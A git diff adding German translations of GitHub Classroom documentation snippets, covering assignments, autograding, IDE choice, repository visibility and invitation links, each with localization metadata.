@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 284fb70fbbe78100d36cc2a047e411b6402ad61f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103388"
+---
+Du kannst den Namen des Standardbranchs für neue Repositorys festlegen. Weitere Informationen findest du unter [Verwalten des Standardbranchs für deine Repositorys](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories), [Verwalten des Standardbranchnamens für Repositorys in deiner Organisation](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization) und [Erzwingen von Repositoryverwaltungsrichtlinien in deinem Unternehmen](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name).
diff --git a/translations/de-DE/data/reusables/classroom/about-assignments.md b/translations/de-DE/data/reusables/classroom/about-assignments.md
new file mode 100644
index 0000000000..30649e9505
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/about-assignments.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9a7298c6191c214337a9bf5fa91af6bc5a4849b6
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104527"
+---
+Jede Aufgabe verfügt über einen Titel und einen optionalen Stichtag. Du kannst die Sichtbarkeit der von {% data variables.product.prodname_classroom %} erstellten Repositorys auswählen und Zugriffsberechtigungen auswählen. Du kannst auch Aufgaben automatisch benoten und einen dedizierten Raum erstellen, um die Aufgabe mit dem Kursteilnehmer zu besprechen.
diff --git a/translations/de-DE/data/reusables/classroom/about-autograding.md b/translations/de-DE/data/reusables/classroom/about-autograding.md
new file mode 100644
index 0000000000..29cde59f64
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/about-autograding.md
@@ -0,0 +1 @@
+You can use autograding to automatically check a student's work for an assignment on {% data variables.product.prodname_classroom %}. You configure tests for an assignment, and the tests run immediately every time a student pushes to an assignment repository on {% data variables.location.product_location %}. The student can view the test results, make changes, and push to see new results.
diff --git a/translations/de-DE/data/reusables/classroom/about-classrooms.md b/translations/de-DE/data/reusables/classroom/about-classrooms.md
new file mode 100644
index 0000000000..6ccf5198a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/about-classrooms.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0c0b07596b436e31c3d7df47117680fd7b966391
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104524"
+---
+Ein Kursraum in {% data variables.product.prodname_classroom %} ist der Ort, an dem Lehrerkräfte und Lernende während eines Kurses interagieren. Lehrkräfte können eine Kursteilnehmerliste für den Kursraum erstellen und dann Aufgaben innerhalb des Kursraums erstellen, zuweisen, überprüfen und benoten.
diff --git a/translations/de-DE/data/reusables/classroom/about-online-ides.md b/translations/de-DE/data/reusables/classroom/about-online-ides.md
new file mode 100644
index 0000000000..f5e1ca72ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/about-online-ides.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: af104c796c482ea08dd21018c9c5f427b6e8aa77
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103380"
+---
+Du kannst eine Aufgabe optional so konfigurieren, dass eine integrierte Entwicklungsumgebung (IDE) verwendet wird. IDEs ermöglichen es deinen Kursteilnehmern, Code zu schreiben, Programme auszuführen und zusammenzuarbeiten, ohne Git und eine vollständige Entwicklungstoolkette auf den Computern der Kursteilnehmer zu installieren. Wenn du eine IDE für eine Aufgabe auswählst, können Kursteilnehmer weiterhin Code lokal auf einem Computer mit der erforderlichen Software auschecken und ausführen.
diff --git a/translations/de-DE/data/reusables/classroom/assignments-classroom-prerequisite.md b/translations/de-DE/data/reusables/classroom/assignments-classroom-prerequisite.md
new file mode 100644
index 0000000000..3608f47d6c
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-classroom-prerequisite.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1f63467395dcced51dba24824377979ebdb84e78
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104516"
+---
+Du musst ein Klassenzimmer erstellen, bevor du eine Aufgabe erstellen kannst. Weitere Informationen findest du unter [Verwalten von Klassenzimmern](/education/manage-coursework-with-github-classroom/manage-classrooms).
diff --git a/translations/de-DE/data/reusables/classroom/assignments-click-pencil.md b/translations/de-DE/data/reusables/classroom/assignments-click-pencil.md
new file mode 100644
index 0000000000..18e495b643
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-click-pencil.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9413b187149e75a77b4706dcceee31777dbb0fce
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103376"
+---
+1. Klicke rechts neben der Aufgabe, die du bearbeiten möchtest, auf {% octicon "pencil" aria-label="The pencil icon" %}.
+  ![Bleistiftsymbol zum Bearbeiten von Aufgaben in der Liste der Aufgaben](/assets/images/help/classroom/assignments-click-pencil.png)
diff --git a/translations/de-DE/data/reusables/classroom/assignments-group-definition.md b/translations/de-DE/data/reusables/classroom/assignments-group-definition.md
new file mode 100644
index 0000000000..f1d9fc96a5
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-group-definition.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4ac11e16253bb27dd41634737668c5c537cb6e9c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104503"
+---
+Eine Gruppenzuweisung ist eine gemeinschaftliche Aufgabe für Gruppen von Kursteilnehmenden auf {% data variables.product.prodname_classroom %}.
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-assign-a-deadline.md b/translations/de-DE/data/reusables/classroom/assignments-guide-assign-a-deadline.md
new file mode 100644
index 0000000000..14e9e2d809
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-assign-a-deadline.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5d07dabd311996d71af152ff5068855e93fa911d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103375"
+---
+Optional kannst du der Zuordnung einen Stichtag zuweisen. Klicke unter „Stichtag (optional)“ in das Textfeld, und weise dann mit der Datumsauswahl einen Stichtag zu.
+
+<div class="procedural-image-wrapper">
+  <img alt="Date picker for assignment deadline" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-assign-deadline.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-choose-an-online-ide.md b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-an-online-ide.md
new file mode 100644
index 0000000000..fd18d52274
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-an-online-ide.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ee3ed1eecdd04268bf04b44e80ca4cdf4690f328
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104500"
+---
+Um eine IDE für die Aufgabe auszuwählen, wähle das Dropdownmenü „Editor hinzufügen“ aus, und klicke auf die IDE, die deine Kursteilnehmer verwenden möchten.
+
+<div class="procedural-image-wrapper">
+  <img alt="Using the 'Select an online IDE' drop-down menu to click an online IDE for the assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/select-supported-editor-including-codespaces.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-choose-template-repository.md b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-template-repository.md
new file mode 100644
index 0000000000..4e4af5549e
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-template-repository.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5c4affacf0e818ac33a3ef444ca17fd9e159aa72
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103371"
+---
+Wähle unter „Vorlagenrepository hinzufügen, um Startcode für Kursteilnehmer bereitzustellen“ das Dropdownmenü **Repository auswählen** aus, und gib dann eine Suchabfrage ein. Klicke in der Liste der Ergebnisse auf das Vorlagenrepository, das du für Startcode verwenden möchten.
+
+<div class="procedural-image-wrapper">
+  <img alt="Using the 'Select a repository' drop-down menu to find a template repository to use as starter code for an assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-template-repository-in-list.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-choose-visibility.md b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-visibility.md
new file mode 100644
index 0000000000..63e48d0085
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-choose-visibility.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 66fdbca75762848fce18a18321fd082a844cfa3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104499"
+---
+Die Repositorys für eine Zuweisung können öffentlich oder privat sein. Wenn Du private Repositorys verwendest, wird das von dir bereitgestellte Feedback nur dem Kursteilnehmer oder dem Team angezeigt.
+
+Du kannst auch entscheiden, ob Du den Kursteilnehmern Administratorrechte für das Repository einer Aufgabe gewähren. Gewähre Administratorberechtigungen, wenn der Kursteilnehmer administrative Aufgaben für das Zuweisungs-Repository ausführen kann. Weitere Informationen findest Du unter „[Über Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)“ und „[Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)“.
+
+Wähle unter „Repositorysichtbarkeit“ eine Sichtbarkeit aus. Wähle optional **Kursteilnehmern Zugriff auf ihr Repository gewähren** aus.
+
+<div class="procedural-image-wrapper">
+  <img alt="Visibility options for assignment repositories" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-choose-repository-visibility.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-basics.md b/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-basics.md
new file mode 100644
index 0000000000..3051c76dfc
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-basics.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: f8b8e532906339d5947b993371dfc86767f090c3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103368"
+---
+<br/>
+
+Wenn du fertig bist, klicke auf **Weiter**, um Startercode und eine Entwicklungsumgebung für die Zuweisung zu konfigurieren.
+
+<div class="procedural-image-wrapper">
+  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md b/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md
new file mode 100644
index 0000000000..39742c2bd0
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 2c0b2605698270da05073f672a6b3c95a6e893d1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104495"
+---
+<br/>
+
+Wenn du fertig bist, klickst du auf **Weiter**, um die automatische Benotung und Feedback für das Projekt zu konfigurieren.
+
+<div class="procedural-image-wrapper">
+  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-click-create-assignment-button.md b/translations/de-DE/data/reusables/classroom/assignments-guide-click-create-assignment-button.md
new file mode 100644
index 0000000000..43b72827e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-click-create-assignment-button.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 990130d0a985fd067b4170ed859a1aac3fca26d8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103364"
+---
+Klicke zum Erstellen der Aufgabe auf **Aufgabe erstellen**.
+
+<div class="procedural-image-wrapper">
+  <img alt="'Create assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-create-assignment-button.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-create-review-pull-request.md b/translations/de-DE/data/reusables/classroom/assignments-guide-create-review-pull-request.md
new file mode 100644
index 0000000000..ac7edc5748
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-create-review-pull-request.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 39a5a35bf986c41f4f88f9fdb09c8d0cc01df28f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879547"
+---
+Um Pull Requests für die Diskussion von Feedback zu erstellen, wählst Du **Feedback-Pull Requests aktivieren** aus.
+
+<div class="procedural-image-wrapper">
+  <img alt="Checkbox for 'Enable feedback pull requests'" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-enable-feedback-pull-requests.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-create-the-assignment.md b/translations/de-DE/data/reusables/classroom/assignments-guide-create-the-assignment.md
new file mode 100644
index 0000000000..2e8b9831ff
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-create-the-assignment.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 9965462081060f1f0758a85bb1d0db26111337b8
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885316"
+---
+1. Melde dich bei {% data variables.product.prodname_classroom_with_url %} an.
+1. Navigiere zu einem Kursraum.
+1. Erstelle die Aufgabe auf der Registerkarte {% octicon "repo" aria-label="The repo icon" %} **Aufgaben**.
+   - Wenn dies deine erste Aufgabe ist, klicke auf **Aufgabe erstellen**. 
+   ![Erstellen Ihrer ersten Aufgabe](/assets/images/help/classroom/assignments-create-first-assignment.png)
+   - Andernfalls klicke auf **Neue Aufgabe**.
+   ![Schaltfläche „Neue Aufgabe“](/assets/images/help/classroom/assignments-click-new-assignment-button.png)
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-intro-for-environment.md b/translations/de-DE/data/reusables/classroom/assignments-guide-intro-for-environment.md
new file mode 100644
index 0000000000..0248cd1191
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-intro-for-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e334b5cc9f8050d9d6cffb4a546546cf6a6d0fe5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104491"
+---
+Entscheide optional, ob leere Repositorys oder Startercode bereitgestellt werden soll, und konfiguriere eine Entwicklungsumgebung für deine Kursteilnehmer.
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md b/translations/de-DE/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md
new file mode 100644
index 0000000000..e9dea4397a
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 309ec6ba4cffd949c49ce15224931d76c90e1c58
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882239"
+---
+{% data reusables.classroom.classroom-enables-invitation-urls %}
+
+{% data reusables.classroom.invitation-url-warning %}
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-prevent-changes.md b/translations/de-DE/data/reusables/classroom/assignments-guide-prevent-changes.md
new file mode 100644
index 0000000000..7b11ae19eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-prevent-changes.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 8786abf5810480e3b42b2116a695cf6f4a117182
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104488"
+---
+Du kannst Kursteilnehmeränderungen an Dateien, die Tests zur automatischen Benotung enthalten, oder an anderen wichtigen Dateien im Aufgabenrepository verhindern.
+
+Gib unter „Geschützte Dateipfade“ relative Pfade innerhalb des Repositorys ein, die geschützt werden sollen.
+
+<div class="procedural-image-wrapper">
+  <img alt="Text field for typing protected file paths" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-type-protected-file-paths.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-guide-using-autograding.md b/translations/de-DE/data/reusables/classroom/assignments-guide-using-autograding.md
new file mode 100644
index 0000000000..2098647508
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-guide-using-autograding.md
@@ -0,0 +1,31 @@
+---
+ms.openlocfilehash: a2caf3025bfe6140ba940d210fa821b7b75f5328
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103344"
+---
+{% data reusables.classroom.about-autograding %} Weitere Informationen findest du unter [Verwenden der automatischen Bewertung](/education/manage-coursework-with-github-classroom/use-autograding).
+
+{% data reusables.classroom.use-add-test-drop-down-to-click-grading-method %} Weitere Informationen findest du unter [Bewertungsmethoden](/education/manage-coursework-with-github-classroom/use-autograding#grading-methods).
+
+<div class="procedural-image-wrapper">
+  <img alt="Using the 'Add test' drop-down menu to click a grading method" class="procedural-image-wrapper" src="/assets/images/help/classroom/autograding-click-grading-method.png">
+</div>
+
+<br/>
+
+Definiere die Parameter deines Testfalls, wie z. B. Name, Befehle, Eingaben, Ausgaben, Timeout und Punkte. Wenn du fertig bist, klicke auf **Testfall speichern**.
+
+<div class="procedural-image-wrapper">
+  <img alt="'Save test case' button for an autograding test" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-save-test-case-button.png">
+</div>
+
+<br/>
+
+Du kannst weitere Tests über das Dropdownmenü **Test hinzufügen** hinzufügen und vorhandene Tests mit dem {% octicon "pencil" aria-label="The pencil icon" %} oder {% octicon "trash" aria-label="The trash icon" %} bearbeiten oder löschen.
+
+<div class="procedural-image-wrapper">
+  <img alt="Pencil and trash icons to edit or delete an autograding test" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/assignments-individual-definition.md b/translations/de-DE/data/reusables/classroom/assignments-individual-definition.md
new file mode 100644
index 0000000000..b6cbb772b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-individual-definition.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9953f3e686f783a19e00bb5e3eb64c68559539bc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882191"
+---
+Eine individuelle Zuweisung ist ein Kurs für jeden Kursteilnehmer, der an einem Kurs zu {% data variables.product.prodname_classroom %} teilnimmt. Der Kursteilnehmer soll eine einzelne Zuweisung ohne Hilfe von anderen Kursteilnehmern abschließen.
diff --git a/translations/de-DE/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/de-DE/data/reusables/classroom/assignments-to-prevent-submission.md
new file mode 100644
index 0000000000..fbdd31baed
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 01207ef9ea3bd2c766df771f946fe8c3c06f4b9d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882183"
+---
+Um zu verhindern, dass Lernende einen Arbeitsauftrag annehmen oder übermitteln, kannst du den „Zuweisungsstatus“ in der Ansicht „Arbeitsauftrag bearbeiten“ ändern. Wenn ein Arbeitsauftrag aktiv ist, können Lernende ihn über den Einladungslink annehmen. Wenn er inaktiv ist, ist dieser Link nicht mehr gültig.
diff --git a/translations/de-DE/data/reusables/classroom/assignments-type-a-title.md b/translations/de-DE/data/reusables/classroom/assignments-type-a-title.md
new file mode 100644
index 0000000000..0b29c9c475
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/assignments-type-a-title.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bc38c44ee0eb2b113592684b8939667a5e8f7626
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104484"
+---
+Gib einen Titel für die Aufgabe ein. Klicke optional auf {% octicon "pencil" aria-label="The pencil icon" %}, um das Präfix zu bearbeiten.
+
+<div class="procedural-image-wrapper">
+  <img alt="Assignment title and prefix" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-assignment-title.png">
+</div>
diff --git a/translations/de-DE/data/reusables/classroom/classroom-admins-link.md b/translations/de-DE/data/reusables/classroom/classroom-admins-link.md
new file mode 100644
index 0000000000..46e7d59dc9
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/classroom-admins-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2c13650fcb58c4ab750646ed1d453a61e9624ef2
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145103339"
+---
+Weitere Informationen zu Klassenzimmeradministratoren findest du unter [Informationen zur Verwaltung von Klassenzimmern](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#about-management-of-classrooms).
diff --git a/translations/de-DE/data/reusables/classroom/classroom-codespaces-link.md b/translations/de-DE/data/reusables/classroom/classroom-codespaces-link.md
new file mode 100644
index 0000000000..9ec10f3a4c
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/classroom-codespaces-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d08d90913850e8569a4d2a42fbd82ff7f93a34b9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063714"
+---
+Du kannst eine Zuweisung mit {% data variables.product.prodname_github_codespaces %} konfigurieren, um den Kursteilnehmer*innen Zugriff auf eine browserbasierte Visual Studio Code-Umgebung mit 1-Klick-Setup zu gewähren. Weitere Informationen findest du unter [Verwenden von {% data variables.product.prodname_github_codespaces %} mit {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom).
diff --git a/translations/de-DE/data/reusables/classroom/classroom-creates-group-repositories.md b/translations/de-DE/data/reusables/classroom/classroom-creates-group-repositories.md
new file mode 100644
index 0000000000..badaaf9fdd
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/classroom-creates-group-repositories.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c75449404b6bf46b419fd45939c1d8d7588e0b5f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103336"
+---
+Für jede Arbeitsauftrag für eine Gruppe erstellt {% data variables.product.prodname_classroom %} automatisch ein einzelnes gemeinsam genutztes Repository, auf das das Team zugreifen kann. Das Repository kann leer sein, oder du kannst das Repository aus einer Vorlage mit Startcode, Dokumentation, Tests und anderen Ressourcen erstellen. Das Repository gehört zum Konto deiner Organisation in {% data variables.product.product_name %}, und {% data variables.product.prodname_classroom %} gewährt Zugriff auf Teams, die Lernende erstellen oder denen sie beitreten, wenn sie den Arbeitsauftrag annehmen.
diff --git a/translations/de-DE/data/reusables/classroom/classroom-creates-individual-repositories.md b/translations/de-DE/data/reusables/classroom/classroom-creates-individual-repositories.md
new file mode 100644
index 0000000000..c64317020f
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/classroom-creates-individual-repositories.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cb8f7834d2c461ece9f2b846f64bc70862fb297f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104463"
+---
+Wenn ein Kursteilnehmer eine Aufgabe akzeptiert, erstellt {% data variables.product.prodname_classroom %} automatisch ein neues Repository für den Kursteilnehmer. Die Repositorys können leer sein, oder du kannst die Repositorys aus einem Vorlagenrepository mit Startcode, Dokumentation, Tests und anderen Ressourcen erstellen. Jedes Aufgabenrepository gehört zu deinem Organisationskonto auf {% data variables.product.product_name %}.
diff --git a/translations/de-DE/data/reusables/classroom/classroom-enables-invitation-urls.md b/translations/de-DE/data/reusables/classroom/classroom-enables-invitation-urls.md
new file mode 100644
index 0000000000..51d8ab6f77
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/classroom-enables-invitation-urls.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ae8edfa14d6a28843c2b039e3e726b5ae1a1231d
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785886"
+---
+Standardmäßig aktiviert {% data variables.product.prodname_classroom %} eine Einladungs-URL für jede von Ihnen erstellte Aufgabe. Kursteilnehmer können die Aufgabe akzeptieren und senden, während die Einladungs-URL aktiviert ist. Du kannst die URL auf deinem LMS, deiner Kurswebsite oder überall dort, wo du Aufgaben postest, für deine Kursteilnehmer freigeben. Kursteilnehmer können auch auf {% data variables.product.prodname_classroom %} zu der Aufgabe navigieren, wenn sie bereits eine Aufgabe für den Kurs akzeptiert haben.
diff --git a/translations/de-DE/data/reusables/classroom/click-assignment-in-list.md b/translations/de-DE/data/reusables/classroom/click-assignment-in-list.md
new file mode 100644
index 0000000000..c6571ffc69
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/click-assignment-in-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b507dd0efebc0fc8eef0f1b40ec6e26be4b800c4
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879589"
+---
+1. Klicke in der Liste der Aufgaben auf die Aufgabe, die du anzeigen möchtest.
+  ![Aufgabe in der Liste der Aufgaben für ein Klassenzimmer](/assets/images/help/classroom/click-assignment-in-list.png)
diff --git a/translations/de-DE/data/reusables/classroom/click-classroom-in-list.md b/translations/de-DE/data/reusables/classroom/click-classroom-in-list.md
new file mode 100644
index 0000000000..4d4da2f3af
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/click-classroom-in-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 03d15afdd8b3d28e7b6520d1ad1c4d63861d50cf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103331"
+---
+1. Klicke in der Liste der Klassenzimmer auf das Klassenzimmer, das du anzeigen möchtest.
+  ![Klassenzimmer in der Liste der Klassenzimmer für eine Organisation](/assets/images/help/classroom/click-classroom-in-list.png)
